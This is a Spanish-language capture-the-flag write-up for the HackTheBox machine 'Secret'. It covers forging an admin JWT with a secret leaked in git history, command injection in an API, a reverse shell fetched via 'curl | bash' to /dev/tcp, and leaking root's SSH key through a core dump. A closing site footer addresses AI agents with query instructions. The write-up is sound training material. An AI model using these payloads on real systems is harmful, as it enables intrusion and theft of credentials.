> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md).

# Resolución de HackTheBox Secret

{% embed url="<https://app.hackthebox.com/machines/408>" %}

{% hint style="warning" %}
**Habilidades**:

* Análisis de código
* Abusando de una API
* Tokens Web JSON (JWT)
* Abusando/Aprovechando Core Dump (Escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/d6206db70a2f69be6932b40051e7899762cd9565" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/3a91303dd8e64c2faf18e4a287b01a2f5df260e0" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts
```

<figure><img src="/files/821875257fe3c8e25bec5ad8a93428dbed7e909b" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (80,22,3000)

<figure><img src="/files/a8aed6fae7b26c000b3e424853fc485bcbfb3ce9" alt="" width="563"><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted
```

<figure><img src="/files/74c7150ff88544470a0c111a76a89bc09a261e8d" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

<figure><img src="/files/147d1fbedbb09f07795fa3830385b2926037db60" alt="" width="563"><figcaption></figcaption></figure>

> **Observación**: El mismo sitio web es accesible en los puertos 80 y 3000.

<figure><img src="/files/6e7fbf6e34701253f0c9fefacac0253afb677761" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fe2ce15a5a7ded5fb44aea1679d7c669020dbe0f" alt=""><figcaption></figcaption></figure>

**Búsqueda de directorios:**

Usamos Gobuster para buscar directorios en el sitio:

```bash
gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/066b4fd60d950b5bfa842f87eeaa24c139ba3f52" alt=""><figcaption></figcaption></figure>

## Registrar un usuario de la API

En la sección "docs" encontramos instrucciones para registrar un usuario. Ejemplo para el usuario “jordan”:

<figure><img src="/files/0617ebbee94d26e7f37cca67b246f847ae830e9d" alt=""><figcaption></figcaption></figure>

```json
curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{
    "name": "jordan",
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

<figure><img src="/files/7f01038f4857087a86e58aee9604ed0279392e86" alt=""><figcaption></figcaption></figure>

## API de autenticación

Para conectarse:

```json
curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

Esto nos devuelve un token de autenticación (`auth-token`).

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`

<figure><img src="/files/ed222dcf5b6541b5bebdbd109f10aef9a1766cab" alt=""><figcaption></figcaption></figure>

### Comprobando el cuerpo JSON predeterminado

<figure><img src="/files/3dce845bc68a1c2e66e7ee8dd541f9465161d333" alt="" width="563"><figcaption></figcaption></figure>

`email: "root@dasith.works"`

`password: "Kekc8swFgD6zU"`

<figure><img src="/files/47871176f52e69c29231122b22e1a9eea745d6f2" alt=""><figcaption></figcaption></figure>

### Comprobación de vulnerabilidad [Token Web JSON](/es/web-vulnerabilities/json-web-token-jwt-attack.md)

Usa un sitio para decodificar el JWT y leer y manipular su contenido.

> **Nota**: El token JWT debería ser inválido. Al modificar los campos "name" y "email" por los de un administrador:

{% embed url="<https://jwt.io/>" %}

<figure><img src="/files/3d3adfbef2fdedf0d6b982255a1c52e928c28d49" alt=""><figcaption></figcaption></figure>

`"name": "theadmin",`

`"email": "root@dasith.works",`

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`

<figure><img src="/files/20882df81452bff37ebea4d1f594cb4576107cd0" alt=""><figcaption></figcaption></figure>

### Intentando acceder a una API privada:

Intentando conectarnos a una API privada usando el JWT modificado:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq
```

{% endcode %}

Recibimos un mensaje de "token inválido".

<figure><img src="/files/0be4ed23086737b707a3ad94a0bf4c14e0a4b184" alt="" width="563"><figcaption></figcaption></figure>

Con nuestro propio JWT tenemos acceso como usuario normal:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq
```

{% endcode %}

Recibimos un mensaje "Eres un usuario normal".

<figure><img src="/files/0435ead6d243077ba2bad1804469b3506710fac0" alt=""><figcaption></figcaption></figure>

## Enumeración de rutas de la API con Wfuzz

Usa Wfuzz para explorar las rutas disponibles:

{% code fullWidth="true" %}

```bash
wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ
```

{% endcode %}

Nuevo descubrimiento: la `/api/logs` ruta.

<figure><img src="/files/d698c20b0d7ef19ebab99eb5b4c7c27ae1f674e7" alt=""><figcaption></figcaption></figure>

## Análisis del código fuente

La página web ofrece la opción de descargar el código fuente.

<figure><img src="/files/b0782014cbf04937921a671471b46580955af5be" alt="" width="563"><figcaption></figcaption></figure>

> **Hallazgos** :

* Un `.env` archivo que contiene un `token_secret` con el valor "secret".

<figure><img src="/files/c153e6002e9d002a0cebde6331473953af8c9f2a" alt=""><figcaption></figcaption></figure>

Un `.git` carpeta con un commit que indica la eliminación del archivo `.env`.

<figure><img src="/files/04d7af309c3a54a6db56d88c8b37f5078aa035c2" alt=""><figcaption></figcaption></figure>

El antiguo eliminado `token_secret` se encuentra:

`gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`

<figure><img src="/files/c7e58cf9a0bd124a21b2a05f755d3434b76b1007" alt=""><figcaption></figcaption></figure>

Usa este antiguo `token_secret` para firmar un JWT con información de administrador y acceder a la API privada:

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`

<figure><img src="/files/319a0dfd3f0950edcdae0e7e273a51c8976c6790" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

> **Resultado**: Mensaje de bienvenida como administrador: "welcome back admin".

<figure><img src="/files/28b71f536730495d746c57ccff9cd358c4c6d269" alt=""><figcaption></figcaption></figure>

Finalmente, al ejecutar la `/api/logs` ruta, se muestra el siguiente contenido:

```json
"cmd": "git log --oneline undefined"
```

<figure><img src="/files/675dd34f75b744e1d2a30955b90774ce5bcad60f" alt=""><figcaption></figcaption></figure>

Al examinar el `privitate.js` archivo y analizar el código, vemos que:

<figure><img src="/files/9f7b35c03e1e5b6d917f802b6cb5b14b3348ef83" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad RCE:

{% hint style="info" %}
Este código presenta un problema de seguridad debido a la inyección de comandos. Porque `archivo` proviene de los parámetros de consulta y se inserta directamente en el comando de la terminal, un usuario malicioso podría modificar `archivo` para ejecutar otros comandos. La función de esta ruta es ejecutar el `git log --oneline [file]` comando en el sistema, donde `[archivo]` es un archivo específico solicitado en el parámetro de consulta de la solicitud.
{% endhint %}

Aquí hay un ejemplo `curl` comando que intenta inyectar `id`:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

<figure><img src="/files/dbb7f40614b6bf00ea0fe67fbdcc04c8131fe645" alt=""><figcaption></figcaption></figure>

#### Vamos a ejecutar una shell inversa:

1. Crea un `index.html` archivo en nuestra máquina y crear un servidor web con el siguiente contenido:

```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
```

2. A continuación, escucha en el puerto 4444:

```bash
nc -nlvp 4444
```

Ejecuta una inyección con `curl` en nuestro servidor web:

{% code overflow="wrap" %}

```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/b617ba43e1bfbbc29888d1717d1e24db1147be09" alt=""><figcaption></figcaption></figure></div>

### Bandera user.txt :)

<figure><img src="/files/d27aece3df47db3f89725256988ef58a02a853a7" alt=""><figcaption></figcaption></figure>

**Manejo de terminal:**/ Una vez que tengas acceso al servidor Linux, aquí están los comandos que debes ejecutar para un procesamiento eficiente en la terminal:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Estabiliza la shell para trabajar más cómodamente. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Escalada de privilegios (SUID)

Con el siguiente comando comprobamos si nuestro usuario **tiene privilegios SUID**:

```bash
find / -perm -4000 2>/dev/null
```

Encontramos un archivo poco común ubicado en `/opt/count`, cuyo propietario es `root`.

<figure><img src="/files/897742b627316504cc2e9d67b973ea211756529e" alt=""><figcaption></figcaption></figure>

Al ejecutar este binario, nos pide proporcionar un archivo, luego muestra el número total de caracteres, palabras y líneas. Este script leerá el contenido del archivo y luego mostrará sus propiedades.

<figure><img src="/files/19dd89174c7d7300f3dbc3847c07093e71843294" alt="" width="563"><figcaption></figcaption></figure>

### Binario de volcado de memoria

Al examinar el código fuente, podemos observar que se genera un volcado de memoria, almacenando temporalmente el contenido en caso de error.

<figure><img src="/files/7de472befb39bc0d0bd05144c77203e3368b4b0c" alt=""><figcaption></figcaption></figure>

Los errores se guardan en el `/var/crash` directorio. Así es como se crea un volcado de memoria:

1. **Introduce el nombre del archivo o directorio:**

   ```bash
   Introduce el nombre del archivo/directorio de origen: /root/.ssh/id_rsa
   ```

*(Clave SSH de root)* 2. **¿Guardar resultados en un archivo?**

````
```css
¿Guardar resultados en un archivo? [y/N]: ^Z
```
````

*(Poner en segundo plano)* 3. **Obtén el PID:**

````
```bash
ps
```

_(Copiar el PID)_
````

4\. **Matar el proceso:**

````
```bash
kill -BUS 'PID'
```
````

5\. **Vuelve a ejecutar el binario:**

````
```bash
fg
```
````

6\. **Comprueba el directorio de volcados de memoria:**

````
```bash
ls -l /var/crash
```
````

*(Aparece un nuevo archivo: `_opt_count.1000.crash`)*

<figure><img src="/files/2d20fd2a2d0be967ebdc7a2acc50f40b566457c7" alt=""><figcaption></figcaption></figure>

Ahora tenemos un volcado de memoria en base64 que contiene la clave SSH de root.

<figure><img src="/files/13d41e181bf0c33aaef44e18eeca77efa99c2df0" alt=""><figcaption></figcaption></figure>

### Apport-unpack

Para extraer la información, usaremos `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

A continuación, listaremos el contenido del archivo en `/tmp/ssh/coredump` usando `strings`:

<figure><img src="/files/de16018761dbbc0925ee3c6c5d1bb9aced20bd02" alt=""><figcaption></figcaption></figure>

Encontramos la clave SSH de root

<figure><img src="/files/5fb1e9b4442abf7297fe25e40e9224172715b804" alt=""><figcaption></figcaption></figure>

### Conexión SSH

Una vez que hayamos creado el `id_rsa` archivo con permisos 600, podemos conectarnos por SSH:

```bash
ssh root@10.10.11.120 -i id_rsa
```

<figure><img src="/files/ba9ddff2f46a7a4f94e4b40bf1d1053738efde05" alt=""><figcaption></figcaption></figure>

### Flag de root :)

<figure><img src="/files/cb2420ebdf69f5b75a86e27f52abc0ba5af5ae37" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/59b39ade8bffd9d0c8629b13c40f0739365c0091" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
